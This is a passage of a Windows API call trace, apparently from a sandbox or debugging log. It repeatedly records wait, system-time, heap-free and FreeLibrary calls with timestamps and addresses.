WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66a55c1f, dwHighDateTime=0x1d9eb0c)) [0224.459] free (_Block=0x196ef0d19a0) [0224.459] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.460] free (_Block=0x196ef0d4e70) [0224.464] free (_Block=0x196ef0fb360) [0224.464] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66a55c1f, dwHighDateTime=0x1d9eb0c)) [0224.471] free (_Block=0x196ef0d1aa0) [0224.472] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.472] free (_Block=0x196ef0d4e70) [0224.473] free (_Block=0x196ef0fb4a0) [0224.475] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66a7c07c, dwHighDateTime=0x1d9eb0c)) [0224.482] free (_Block=0x196ef0d1aa0) [0224.482] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.482] free (_Block=0x196ef0d4e70) [0224.483] free (_Block=0x196ef0fbea0) [0224.483] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66aa257f, dwHighDateTime=0x1d9eb0c)) [0224.490] free (_Block=0x196ef0d1ba0) [0224.491] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.491] free (_Block=0x196ef0d4e70) [0224.492] free (_Block=0x196ef0fb540) [0224.492] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66aa257f, dwHighDateTime=0x1d9eb0c)) [0224.498] free (_Block=0x196ef0d1b40) [0224.498] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.499] free (_Block=0x196ef0d4e70) [0224.499] free (_Block=0x196ef0fb310) [0224.500] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66b60d93, dwHighDateTime=0x1d9eb0c)) [0224.571] free (_Block=0x196ef0d1bc0) [0224.571] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.572] free (_Block=0x196ef0d4e70) [0224.573] free (_Block=0x196ef0fba40) [0224.575] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66b870ff, dwHighDateTime=0x1d9eb0c)) [0224.587] free (_Block=0x196ef0d1b00) [0224.587] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.588] free (_Block=0x196ef0d4e70) [0224.589] free (_Block=0x196ef0fb8b0) [0224.589] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66b870ff, dwHighDateTime=0x1d9eb0c)) [0224.594] free (_Block=0x196ef0d1a80) [0224.595] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.595] free (_Block=0x196ef0d4e70) [0224.596] free (_Block=0x196ef0fc0d0) [0224.596] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66bad318, dwHighDateTime=0x1d9eb0c)) [0224.603] free (_Block=0x196ef0d1ba0) [0224.603] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.604] free (_Block=0x196ef0d4e70) [0224.604] free (_Block=0x196ef0fb900) [0224.605] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66bad318, dwHighDateTime=0x1d9eb0c)) [0224.611] free (_Block=0x196ef0d1da0) [0224.612] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.612] free (_Block=0x196ef0d4e70) [0224.613] free (_Block=0x196ef0fbb80) [0224.613] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66d047b3, dwHighDateTime=0x1d9eb0c)) [0224.744] free (_Block=0x196ef0d1d80) [0224.744] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.745] free (_Block=0x196ef0d4e70) [0224.746] free (_Block=0x196ef0fb4a0) [0224.746] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66d047b3, dwHighDateTime=0x1d9eb0c)) [0224.753] free (_Block=0x196ef0d1de0) [0224.753] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.754] free (_Block=0x196ef0d4e70) [0224.755] free (_Block=0x196ef0fb8b0) [0224.755] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66d2aae8, dwHighDateTime=0x1d9eb0c)) [0224.762] free (_Block=0x196ef0d20e0) [0224.762] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.763] free (_Block=0x196ef0d4e70) [0224.764] free (_Block=0x196ef0fbd10) [0224.764] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66d2aae8, dwHighDateTime=0x1d9eb0c)) [0224.771] free (_Block=0x196ef0d20c0) [0224.771] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.772] free (_Block=0x196ef0d4e70) [0224.773] free (_Block=0x196ef0fbb80) [0224.773] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66d50cef, dwHighDateTime=0x1d9eb0c)) [0224.780] free (_Block=0x196ef0d1a40) [0224.780] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.782] free (_Block=0x196ef0d4e70) [0224.782] free (_Block=0x196ef0fb680) [0224.782] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66ef461a, dwHighDateTime=0x1d9eb0c)) [0224.956] free (_Block=0x196ef0d1de0) [0224.956] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.957] free (_Block=0x196ef0d4e70) [0224.958] free (_Block=0x196ef0fba40) [0224.958] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66f1a879, dwHighDateTime=0x1d9eb0c)) [0224.968] free (_Block=0x196ef0d1e20) [0224.968] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.968] free (_Block=0x196ef0d4e70) [0224.969] free (_Block=0x196ef0fb680) [0224.969] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66f40b7f, dwHighDateTime=0x1d9eb0c)) [0224.977] free (_Block=0x196ef0d2000) [0224.978] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.978] free (_Block=0x196ef0d4e70) [0224.979] free (_Block=0x196ef0fb680) [0224.979] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66f40b7f, dwHighDateTime=0x1d9eb0c)) [0224.984] free (_Block=0x196ef0d1ce0) [0224.984] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.984] free (_Block=0x196ef0d4e70) [0224.985] free (_Block=0x196ef0fb270) [0224.985] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66f67025, dwHighDateTime=0x1d9eb0c)) [0224.991] free (_Block=0x196ef0d1ac0) [0224.991] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.992] free (_Block=0x196ef0d4e70) [0224.993] free (_Block=0x196ef0fbe00) [0224.993] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0224.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x66f67025, dwHighDateTime=0x1d9eb0c)) [0224.999] free (_Block=0x196ef0d1c60) [0224.999] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0224.999] free (_Block=0x196ef0d4e70) [0225.000] free (_Block=0x196ef0fb900) [0225.000] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6702595b, dwHighDateTime=0x1d9eb0c)) [0225.074] free (_Block=0x196ef0d1d60) [0225.074] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.075] free (_Block=0x196ef0d4e70) [0225.075] free (_Block=0x196ef0fba40) [0225.076] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6702595b, dwHighDateTime=0x1d9eb0c)) [0225.082] free (_Block=0x196ef0d1be0) [0225.082] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.082] free (_Block=0x196ef0d4e70) [0225.083] free (_Block=0x196ef0fc170) [0225.083] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6704c77d, dwHighDateTime=0x1d9eb0c)) [0225.091] free (_Block=0x196ef0d1c00) [0225.091] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.091] free (_Block=0x196ef0d4e70) [0225.092] free (_Block=0x196ef0fbea0) [0225.092] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67073982, dwHighDateTime=0x1d9eb0c)) [0225.100] free (_Block=0x196ef0d1ea0) [0225.100] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.100] free (_Block=0x196ef0d4e70) [0225.101] free (_Block=0x196ef0fb680) [0225.101] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67073982, dwHighDateTime=0x1d9eb0c)) [0225.109] free (_Block=0x196ef0d1ea0) [0225.109] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.109] free (_Block=0x196ef0d4e70) [0225.110] free (_Block=0x196ef0fb5e0) [0225.110] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6710a74a, dwHighDateTime=0x1d9eb0c)) [0225.165] free (_Block=0x196ef0d1ae0) [0225.166] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.166] free (_Block=0x196ef0d4e70) [0225.167] free (_Block=0x196ef0fb220) [0225.167] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6710a74a, dwHighDateTime=0x1d9eb0c)) [0225.178] free (_Block=0x196ef0d20c0) [0225.179] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.180] free (_Block=0x196ef0d4e70) [0225.180] free (_Block=0x196ef0fba40) [0225.180] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x671371a1, dwHighDateTime=0x1d9eb0c)) [0225.191] free (_Block=0x196ef0d20e0) [0225.191] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.191] free (_Block=0x196ef0d4e70) [0225.192] free (_Block=0x196ef0fb770) [0225.192] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67156b9b, dwHighDateTime=0x1d9eb0c)) [0225.199] free (_Block=0x196ef0d1ee0) [0225.200] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.200] free (_Block=0x196ef0d4e70) [0225.201] free (_Block=0x196ef0fb3b0) [0225.201] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x671ef5af, dwHighDateTime=0x1d9eb0c)) [0225.256] free (_Block=0x196ef0d1c60) [0225.256] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.257] free (_Block=0x196ef0d4e70) [0225.258] free (_Block=0x196ef0fb3b0) [0225.258] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x671ef5af, dwHighDateTime=0x1d9eb0c)) [0225.265] free (_Block=0x196ef0d1ba0) [0225.265] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.265] free (_Block=0x196ef0d4e70) [0225.266] free (_Block=0x196ef0fb540) [0225.266] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67218c31, dwHighDateTime=0x1d9eb0c)) [0225.279] free (_Block=0x196ef0d1b40) [0225.280] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.280] free (_Block=0x196ef0d4e70) [0225.281] free (_Block=0x196ef0fb950) [0225.281] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6723bc12, dwHighDateTime=0x1d9eb0c)) [0225.289] free (_Block=0x196ef0d1ca0) [0225.289] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.290] free (_Block=0x196ef0d4e70) [0225.291] free (_Block=0x196ef0fb270) [0225.291] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x672fa6bd, dwHighDateTime=0x1d9eb0c)) [0225.366] free (_Block=0x196ef0d1b00) [0225.366] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.366] free (_Block=0x196ef0d4e70) [0225.367] free (_Block=0x196ef0fb450) [0225.367] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x672fa6bd, dwHighDateTime=0x1d9eb0c)) [0225.374] free (_Block=0x196ef0d1d60) [0225.374] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.374] free (_Block=0x196ef0d4e70) [0225.375] free (_Block=0x196ef0fbdb0) [0225.375] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67320ac1, dwHighDateTime=0x1d9eb0c)) [0225.383] free (_Block=0x196ef0d1fa0) [0225.384] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.384] free (_Block=0x196ef0d4e70) [0225.385] free (_Block=0x196ef0fb8b0) [0225.385] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67320ac1, dwHighDateTime=0x1d9eb0c)) [0225.392] free (_Block=0x196ef0d1e60) [0225.392] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.393] free (_Block=0x196ef0d4e70) [0225.393] free (_Block=0x196ef0fb720) [0225.394] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x673dfb1f, dwHighDateTime=0x1d9eb0c)) [0225.461] free (_Block=0x196ef0d1fa0) [0225.461] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.462] free (_Block=0x196ef0d4e70) [0225.462] free (_Block=0x196ef0fb8b0) [0225.463] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67405617, dwHighDateTime=0x1d9eb0c)) [0225.475] free (_Block=0x196ef0d1a80) [0225.476] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.476] free (_Block=0x196ef0d4e70) [0225.477] free (_Block=0x196ef0fb3b0) [0225.477] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67405617, dwHighDateTime=0x1d9eb0c)) [0225.484] free (_Block=0x196ef0d20e0) [0225.484] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.484] free (_Block=0x196ef0d4e70) [0225.485] free (_Block=0x196ef0fb810) [0225.485] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6742b964, dwHighDateTime=0x1d9eb0c)) [0225.493] free (_Block=0x196ef0d19a0) [0225.493] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.493] free (_Block=0x196ef0d4e70) [0225.494] free (_Block=0x196ef0fbdb0) [0225.494] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6742b964, dwHighDateTime=0x1d9eb0c)) [0225.500] free (_Block=0x196ef0d1aa0) [0225.501] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.501] free (_Block=0x196ef0d4e70) [0225.502] free (_Block=0x196ef0fb8b0) [0225.502] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x674ea567, dwHighDateTime=0x1d9eb0c)) [0225.568] free (_Block=0x196ef0d1bc0) [0225.568] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.569] free (_Block=0x196ef0d4e70) [0225.569] free (_Block=0x196ef0fb810) [0225.570] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x674ea567, dwHighDateTime=0x1d9eb0c)) [0225.575] free (_Block=0x196ef0d1f20) [0225.575] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.575] free (_Block=0x196ef0d4e70) [0225.576] free (_Block=0x196ef0fbd60) [0225.576] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x674ea567, dwHighDateTime=0x1d9eb0c)) [0225.582] free (_Block=0x196ef0d1b00) [0225.583] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.583] free (_Block=0x196ef0d4e70) [0225.584] free (_Block=0x196ef0fbbd0) [0225.584] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6751061d, dwHighDateTime=0x1d9eb0c)) [0225.588] free (_Block=0x196ef0d1e60) [0225.588] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.589] free (_Block=0x196ef0d4e70) [0225.589] free (_Block=0x196ef0fbf40) [0225.589] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6751061d, dwHighDateTime=0x1d9eb0c)) [0225.595] free (_Block=0x196ef0d1da0) [0225.596] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.596] free (_Block=0x196ef0d4e70) [0225.596] free (_Block=0x196ef0fbef0) [0225.597] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67536a41, dwHighDateTime=0x1d9eb0c)) [0225.601] free (_Block=0x196ef0d2000) [0225.601] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.602] free (_Block=0x196ef0d4e70) [0225.602] free (_Block=0x196ef0fbef0) [0225.602] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x67536a41, dwHighDateTime=0x1d9eb0c)) [0225.607] free (_Block=0x196ef0d1e60) [0225.607] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.607] free (_Block=0x196ef0d4e70) [0225.608] free (_Block=0x196ef0fb8b0) [0225.608] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x675cf253, dwHighDateTime=0x1d9eb0c)) [0225.664] free (_Block=0x196ef0d1f40) [0225.664] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.665] free (_Block=0x196ef0d4e70) [0225.666] free (_Block=0x196ef0fb400) [0225.666] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x675cf253, dwHighDateTime=0x1d9eb0c)) [0225.671] free (_Block=0x196ef0d2080) [0225.671] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.671] free (_Block=0x196ef0d4e70) [0225.672] free (_Block=0x196ef0fb720) [0225.672] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x675f5545, dwHighDateTime=0x1d9eb0c)) [0225.677] free (_Block=0x196ef0d20e0) [0225.677] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.678] free (_Block=0x196ef0d4e70) [0225.679] free (_Block=0x196ef0fb770) [0225.679] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x675f5545, dwHighDateTime=0x1d9eb0c)) [0225.683] free (_Block=0x196ef0d1f80) [0225.684] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.684] free (_Block=0x196ef0d4e70) [0225.685] free (_Block=0x196ef0fbd10) [0225.685] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0225.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6761b60d, dwHighDateTime=0x1d9eb0c)) [0225.693] free (_Block=0x196ef0d2040) [0225.693] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0225.694] free (_Block=0x196ef0d4e70) [0225.695] free (_Block=0x196ef0fb590) [0225.695] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 